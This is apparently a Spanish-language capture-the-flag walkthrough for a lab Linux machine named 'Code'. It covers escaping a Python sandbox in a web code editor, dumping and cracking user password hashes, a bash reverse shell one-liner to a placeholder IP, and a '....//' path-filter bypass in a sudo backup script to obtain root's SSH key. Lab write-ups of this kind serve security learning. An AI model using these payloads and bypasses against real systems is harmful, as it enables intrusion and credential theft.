Code es una máquina Linux de nivel EASY que cuenta con una aplicación web Python Code Editor vulnerable a la ejecución remota de código (RCE) mediante la elusión de Python Jail.

Puedes jugar a la maquina dando CLICK AQUI

Enumeracion

Si usamos nmap para analizar los puertos abiertos del servicio:

nmap -T5 <IP> -n -Pn

Encontraremos 2 servicios activos:

  • El puerto 22, perteneciente a SSH.

  • El puerto 5000, perteneciente a una web que almacena un editor de Python en linea.

Si vamos al editor en linea, nos toparemos con:

Pero nos vamos a topar con una sorpresa y es que NO podremos ejecutar ciertos comandos, debido a que existe una restriccion:

Si ejecutamos:

print(globals().keys())

Obtendremos lo siguente:

Nos toparemos con cosas interesantes, como que:

  • Usan Flask

  • Existe una base de datos y distintas rutas dentro del servicio web

Metodo de intrusion #1

Vemos que tenemos una base de datos corriendo dentro del modulo, asi que usaremos:

help(user)

Y obtendremos como respuesta:

Por lo que usaremos SQLAlchemy ORM, y corremos el siguiente comando:

print(db.session.query(User).all())

Obteniendo como resultado:

Entonces, vemos que existen 2 usuarios, por lo que ejecutaremos un bucle for para obtener la informacion, en este caso su nombre y contrasena:

Vemos que obtenemos 2 hashes, pertenecientes al usuario development y martin.

Antes de pasarlas a crackear, quiero decir que estos hashes son cadenas de 32 caracteres, lo que puede ser un HASH-MD5.

Vemos que obtenemos la contrasena para ambos usuarios, por lo que nos queda probarlas con el usuario martin en el puerto SSH.

Y listo, ya estamos dentro.

Metodo de intrusion #2 (Mas elaborado).

Del mismo modo que enumeramos las variables globales, podemos enumerar las fuciones built-in del servicio Python.

print(dir(print.__self__))

Vemos varias funciones interesantes, pero la que nos llama la atencion es getattr

Entonces, recordemos que existe un bloqueo de ciertas palabras, como lo son import, os.

Entonces, nosotros buscamos ejecutar comandos de la siguiente forma

a = getattr(print.__self__, '__import__')('os')
getattr(a, 'system')('<COMANDO>')

Por lo que queda adecuarlo al compilador, tratando de saltarnos la blacklist:

Como podemos ver, podemos ejecutar comandos de forma remota, por lo que nos queda ejecutar una reverse shell:

bash -c "bash -i&>/dev/tcp/<IP>/PUERTO 0>&1"

Por lo que ya hemos ganado acceso a la maquina.

Y del mismo modo, podremos acceder a la base de datos y ver los hashes para romper:

Privesc

Una vez como el usuario martin, enumeraremos permisos a nivel de sudoers y veremos:

Entonces, si analizamos el siguiente archivo veremos que tiene el siguiente codigo:

#!/bin/bash

if [[ $# -ne 1 ]]; then
    /usr/bin/echo "Usage: $0 <task.json>"
    exit 1
fi

json_file="$1"

if [[ ! -f "$json_file" ]]; then
    /usr/bin/echo "Error: File '$json_file' not found."
    exit 1
fi

allowed_paths=("/var/" "/home/")

updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))' "$json_file")

/usr/bin/echo "$updated_json" > "$json_file"

directories_to_archive=$(/usr/bin/echo "$updated_json" | /usr/bin/jq -r '.directories_to_archive[]')

is_allowed_path() {
    local path="$1"
    for allowed_path in "${allowed_paths[@]}"; do
        if [[ "$path" == $allowed_path* ]]; then
            return 0
        fi
    done
    return 1
}

for dir in $directories_to_archive; do
    if ! is_allowed_path "$dir"; then
        /usr/bin/echo "Error: $dir is not allowed. Only directories under /var/ and /home/ are allowed."
        exit 1
    fi
done

/usr/bin/backy "$json_file"

Descubriendo la funcion vulnerable

Si analizamos el codigo, veremos que:

  • Los paths “permitidos” son: /home/ y /var/.

  • La variable updated_json hace una evaluacion de caracteres especiales, especificamente el “. y /

  • Necesitaremos un archivo json.

Entonces, la via mas rapida de escapar a esta validacion es:

En vez de hacer ../ -> ....//

Si vemos dentro del home de martin, veremos que existe una carpeta llamada “backups”.

Lo que podemos adecuar, en este caso el parametro que nos interesa es el

directories_to_archive

Por lo que lo vamos a cambiar a una ruta que apunte al directorio /root

Y ejecutaremos el comando con permisos de sudoers:

Y bueno, adicionalmente tendremos una id_rsa dentro de la carpeta .ssh, por lo que podremos entrar como root:

FIN